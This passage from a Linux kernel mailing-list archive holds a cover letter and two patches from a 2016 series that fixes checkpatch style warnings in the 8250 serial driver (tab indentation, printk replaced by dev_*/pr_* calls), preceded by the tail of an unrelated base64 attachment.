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
AA==

--mYCpIKhGyMATD0i+--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH v4 00/13] tty: serial: 8250: Fix checkpatch warnings
Date: Fri,  8 Jan 2016 18:43:46 +0100
Lines: 96
Approved: news@gmane.org
Message-ID: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1452275167 27070 80.91.229.3 (8 Jan 2016 17:46:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 17:46:07 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	phillip.raffeck@fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 08 18:45:55 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aHb6o-0005V6-69
	for glpp-linux-parisc@plane.gmane.org; Fri, 08 Jan 2016 18:45:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752788AbcAHRpx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jan 2016 12:45:53 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:48202 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751191AbcAHRpw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jan 2016 12:45:52 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 8ADEE58C4CC;
	Fri,  8 Jan 2016 18:45:48 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 08 Jan 2016 18:45:48 +0100
X-Mailer: git-send-email 1.9.1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26323 gmane.linux.kernel:2122082
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26323>

Hello Peter and Andy,

sorry for the long delay - we were very busy during christmas holidays.
We tried to incorporate your suggestions.

We apologize for syntax errors in v3-patchset. While fixing these issues
we added another patch to the series, so we decided to send in a new patchset
instead of fixing the damaged patch files in v3.

Regards,
Anton Wuerfel
Phillip Raffeck

This patch set fixes several checkpatch warnings in tty/serial/8250.

Patch 1/13:  Adds missing spaces (mainly to function/macro headers)
Patch 2/13:  Replace spaces with tabs wherever possible
Patch 3/13:  Slight patch which moves an opening curly brace
Patch 4/13:  Fixes multiline comment style
Patch 5/13:  Removes else blocks after return statements
Patch 6/13:  Slight patch which moves EXPORT_SYMBOL macro to correct position
Patch 7/13:  Slight patch which removes an unneccessary line continuation
Patch 8/13:  Slight patch which adds parentheses to a macro definition
Patch 9/13:  Merges user-visible multiline strings to a single line
Patch 10/13: Replace printk by dev_* or pr_* where appropriate
Patch 11/13: Remove orphaned debug macro
Patch 12/13: Fix warnings in dev_dbg by adding two casts
Patch 13/13: Fixes code indentation

Remaining checkpatch warnings after applying this patch series:

-line over 80 characters
	This error mostly occurs in serial_cs.c, which contains long-lined
	macro calls. However, splitting these calls into multiple lines would
	not increase readability.

-externs should be avoided in .c files
	This occurs in 8250_hp300.c. There is no corresponding header file
	the extern statement could be moved to. It could be moved to 8250.h
	but this would affect other .c files.

-Use #include <linux/*.h> instead of <asm/*.h>
	This warning has been left open for more experienced kernel hackers.
	This patch series is about style issues. We do not intend to alter
	the code behavior.
-struct uart_ops should normally be const
	This warning only occurs in 8250_core.c. The corresponding struct
	cannot be declared as const because it is altered in
	serial8250_isa_init_ports(). Maybe a checkpatch exception should
	be added for this particular warning.

-quoted string split across lines
	These strings were ignored because they otherwise would exceed
	80 characters in a single line. These particular strings use
	format specifiers, which break the ability to grep for them anyway.

Anton Wuerfel (13):
Phillip Raffeck (13):
  tty: serial: 8250: Fix whitespace errors
  tty: serial: 8250: Replace spaces with tabs
  tty: serial: 8250: Fix braces after struct
  tty: serial: 8250: Fix multiline comment style
  tty: serial: 8250: Remove else after return
  tty: serial: 8250: Move EXPORT_SYMBOL to function
  tty: serial: 8250: Fix line continuation warning
  tty: serial: 8250: Add parentheses to macro
  tty: serial: 8250: Fix multi-line strings
  tty: serial: 8250: Removed warning in debug output
  tty: serial: 8250: Fix indentation warnings
  tty: serial: 8250: Suitably replace printk
  tty: serial: 8250: Remove SERIAL_DEBUG_PNP macro

 drivers/tty/serial/8250/8250_accent.c        |  2 +-
 drivers/tty/serial/8250/8250_acorn.c         |  2 +-
 drivers/tty/serial/8250/8250_boca.c          |  2 +-
 drivers/tty/serial/8250/8250_core.c          | 15 ++---
 drivers/tty/serial/8250/8250_exar_st16c554.c |  2 +-
 drivers/tty/serial/8250/8250_fourport.c      |  2 +-
 drivers/tty/serial/8250/8250_gsc.c           |  7 ++-
 drivers/tty/serial/8250/8250_hp300.c         | 26 ++++----
 drivers/tty/serial/8250/8250_hub6.c          |  2 +-
 drivers/tty/serial/8250/8250_ingenic.c       | 12 ++--
 drivers/tty/serial/8250/8250_pci.c           | 49 +++++++--------
 drivers/tty/serial/8250/8250_pnp.c           | 20 ++++---
 drivers/tty/serial/8250/8250_port.c          | 46 +++++++-------
 drivers/tty/serial/8250/serial_cs.c          | 89 +++++++++++++++-------------
 14 files changed, 145 insertions(+), 131 deletions(-)

-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v4 02/13] tty: serial: 8250: Replace spaces with tabs
Date: Fri,  8 Jan 2016 18:43:48 +0100
Lines: 88
Approved: news@gmane.org
Message-ID: <1452275039-18787-3-git-send-email-anton.wuerfel@fau.de>
References: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452275185 27303 80.91.229.3 (8 Jan 2016 17:46:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 17:46:25 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	phillip.raffeck@fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jan 08 18:46:15 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aHb78-0006RA-5N
	for glk-linux-kernel-3@plane.gmane.org; Fri, 08 Jan 2016 18:46:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755380AbcAHRp5 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 8 Jan 2016 12:45:57 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:48250 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752221AbcAHRpy (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 8 Jan 2016 12:45:54 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 7F20C58C4D0;
	Fri,  8 Jan 2016 18:45:51 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 08 Jan 2016 18:45:51 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2122083 gmane.linux.ports.parisc:26324
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2122083>

Indentation is changed to match the correct format of using tabs instea=
d
of spaces wherever possible.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_pci.c  | 12 ++++++------
 drivers/tty/serial/8250/8250_port.c |  4 ++--
 2 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index ccf43cb..7f9f245 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -721,7 +721,7 @@ static int pci_ni8430_init(struct pci_dev *dev)
 	 */
 	pcibios_resource_to_bus(dev->bus, &region, &dev->resource[bar]);
 	device_window =3D ((region.start + MITE_IOWBSR1_WIN_OFFSET) & 0xfffff=
f00)
-	                | MITE_IOWBSR1_WENAB | MITE_IOWBSR1_WSIZE;
+			| MITE_IOWBSR1_WENAB | MITE_IOWBSR1_WSIZE;
 	writel(device_window, p + MITE_IOWBSR1);
=20
 	/* Set window access to go to RAMSEL IO address space */
@@ -1763,7 +1763,7 @@ xr17v35x_has_slave(struct serial_private *priv)
 	const int dev_id =3D priv->dev->device;
=20
 	return ((dev_id =3D=3D PCI_DEVICE_ID_EXAR_XR17V4358) ||
-	        (dev_id =3D=3D PCI_DEVICE_ID_EXAR_XR17V8358));
+		(dev_id =3D=3D PCI_DEVICE_ID_EXAR_XR17V8358));
 }
=20
 static int
@@ -1863,8 +1863,8 @@ pci_fastcom335_setup(struct serial_private *priv,
=20
 static int
 pci_wch_ch353_setup(struct serial_private *priv,
-                    const struct pciserial_board *board,
-                    struct uart_8250_port *port, int idx)
+		    const struct pciserial_board *board,
+		    struct uart_8250_port *port, int idx)
 {
 	port->port.flags |=3D UPF_FIXED_TYPE;
 	port->port.type =3D PORT_16550A;
@@ -1873,8 +1873,8 @@ pci_wch_ch353_setup(struct serial_private *priv,
=20
 static int
 pci_wch_ch38x_setup(struct serial_private *priv,
-                    const struct pciserial_board *board,
-                    struct uart_8250_port *port, int idx)
+		    const struct pciserial_board *board,
+		    struct uart_8250_port *port, int idx)
 {
 	port->port.flags |=3D UPF_FIXED_TYPE;
 	port->port.type =3D PORT_16850;
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index 7f3bd7b..f2e588e 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -52,7 +52,7 @@
 #define DEBUG_AUTOCONF(fmt...)	do { } while (0)
 #endif
=20
-#define BOTH_EMPTY 	(UART_LSR_TEMT | UART_LSR_THRE)
+#define BOTH_EMPTY	(UART_LSR_TEMT | UART_LSR_THRE)
=20
 /*
  * Here we define the default xmit fifo size used for each type of UAR=
T.
@@ -2254,7 +2254,7 @@ serial8250_get_baud_rate(struct uart_port *port, =
struct ktermios *termios,
=20
 void
 serial8250_do_set_termios(struct uart_port *port, struct ktermios *ter=
mios,
-		          struct ktermios *old)
+			  struct ktermios *old)
 {
 	struct uart_8250_port *up =3D up_to_u8250p(port);
 	unsigned char cval;
--=20
1.9.1



From - Thu Nov 08 21:38:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH v4 10/13] tty: serial: 8250: Suitably replace printk
Date: Fri,  8 Jan 2016 18:43:56 +0100
Lines: 165
Approved: news@gmane.org
Message-ID: <1452275039-18787-11-git-send-email-anton.wuerfel@fau.de>
References: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452275192 27384 80.91.229.3 (8 Jan 2016 17:46:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 17:46:32 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	phillip.raffeck@fau.de,
	=?UTF-8?q?Anton=20W=C3=BCrfel?= <anton.wuerf
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 08 18:46:17 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aHb79-0006RA-9x
	for glpp-linux-parisc@plane.gmane.org; Fri, 08 Jan 2016 18:46:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755299AbcAHRqI convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jan 2016 12:46:08 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:48293 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755464AbcAHRqD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jan 2016 12:46:03 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id A670458C4E9;
	Fri,  8 Jan 2016 18:46:00 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 08 Jan 2016 18:46:00 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26325 gmane.linux.kernel:2122084
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26325>

=46rom: Phillip Raffeck <phillip.raffeck@fau.de>

This patch replaces printk by the corresponding variant of dev_* in ord=
er
to fix checkpatch warnings. If no suitable device pointer is present, t=
he
corresponding pr_* variant is used.

Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_core.c  |  5 ++---
 drivers/tty/serial/8250/8250_gsc.c   |  7 ++++---
 drivers/tty/serial/8250/8250_hp300.c | 19 ++++++++++---------
 drivers/tty/serial/8250/8250_port.c  |  3 +--
 4 files changed, 17 insertions(+), 17 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8=
250/8250_core.c
index b60b58b..d6b4906 100644
--- a/drivers/tty/serial/8250/8250_core.c
+++ b/drivers/tty/serial/8250/8250_core.c
@@ -1094,9 +1094,8 @@ static int __init serial8250_init(void)
=20
 	serial8250_isa_init_ports();
=20
-	printk(KERN_INFO "Serial: 8250/16550 driver, "
-		"%d ports, IRQ sharing %sabled\n", nr_uarts,
-		share_irqs ? "en" : "dis");
+	pr_info("Serial: 8250/16550 driver, %d ports, IRQ sharing %sabled\n",
+		nr_uarts, share_irqs ? "en" : "dis");
=20
 #ifdef CONFIG_SPARC
 	ret =3D sunserial_register_minors(&serial8250_reg, UART_NR);
diff --git a/drivers/tty/serial/8250/8250_gsc.c b/drivers/tty/serial/82=
50/8250_gsc.c
index 2e3ea1a..b1e6ae9 100644
--- a/drivers/tty/serial/8250/8250_gsc.c
+++ b/drivers/tty/serial/8250/8250_gsc.c
@@ -42,7 +42,7 @@ static int __init serial_init_chip(struct parisc_devi=
ce *dev)
 		 * the user what they're missing.
 		 */
 		if (parisc_parent(dev)->id.hw_type !=3D HPHW_IOA)
-			printk(KERN_INFO
+			dev_info(&dev->dev,
 				"Serial: device 0x%llx not configured.\n"
 				"Enable support for Wax, Lasi, Asp or Dino.\n",
 				(unsigned long long)dev->hpa.start);
@@ -66,8 +66,9 @@ static int __init serial_init_chip(struct parisc_devi=
ce *dev)
=20
 	err =3D serial8250_register_8250_port(&uart);
 	if (err < 0) {
-		printk(KERN_WARNING
-			"serial8250_register_8250_port returned error %d\n", err);
+		dev_warn(&dev->dev,
+			"serial8250_register_8250_port returned error %d\n",
+			err);
 		iounmap(uart.port.membase);
 		return err;
 	}
diff --git a/drivers/tty/serial/8250/8250_hp300.c b/drivers/tty/serial/=
8250/8250_hp300.c
index cf566bb..4aaa24c 100644
--- a/drivers/tty/serial/8250/8250_hp300.c
+++ b/drivers/tty/serial/8250/8250_hp300.c
@@ -110,7 +110,7 @@ int __init hp300_setup_serial_console(void)
 	/* Check for APCI console */
 	if (scode =3D=3D 256) {
 #ifdef CONFIG_HPAPCI
-		printk(KERN_INFO "Serial console is HP APCI 1\n");
+		pr_info("Serial console is HP APCI 1\n");
=20
 		port.uartclk =3D HPAPCI_BAUD_BASE * 16;
 		port.mapbase =3D (FRODO_BASE + FRODO_APCI_OFFSET(1));
@@ -118,7 +118,7 @@ int __init hp300_setup_serial_console(void)
 		port.regshift =3D 2;
 		add_preferred_console("ttyS", port.line, "9600n8");
 #else
-		printk(KERN_WARNING "Serial console is APCI but support is disabled =
(CONFIG_HPAPCI)!\n");
+		pr_warn("Serial console is APCI but support is disabled (CONFIG_HPAP=
CI)!\n");
 		return 0;
 #endif
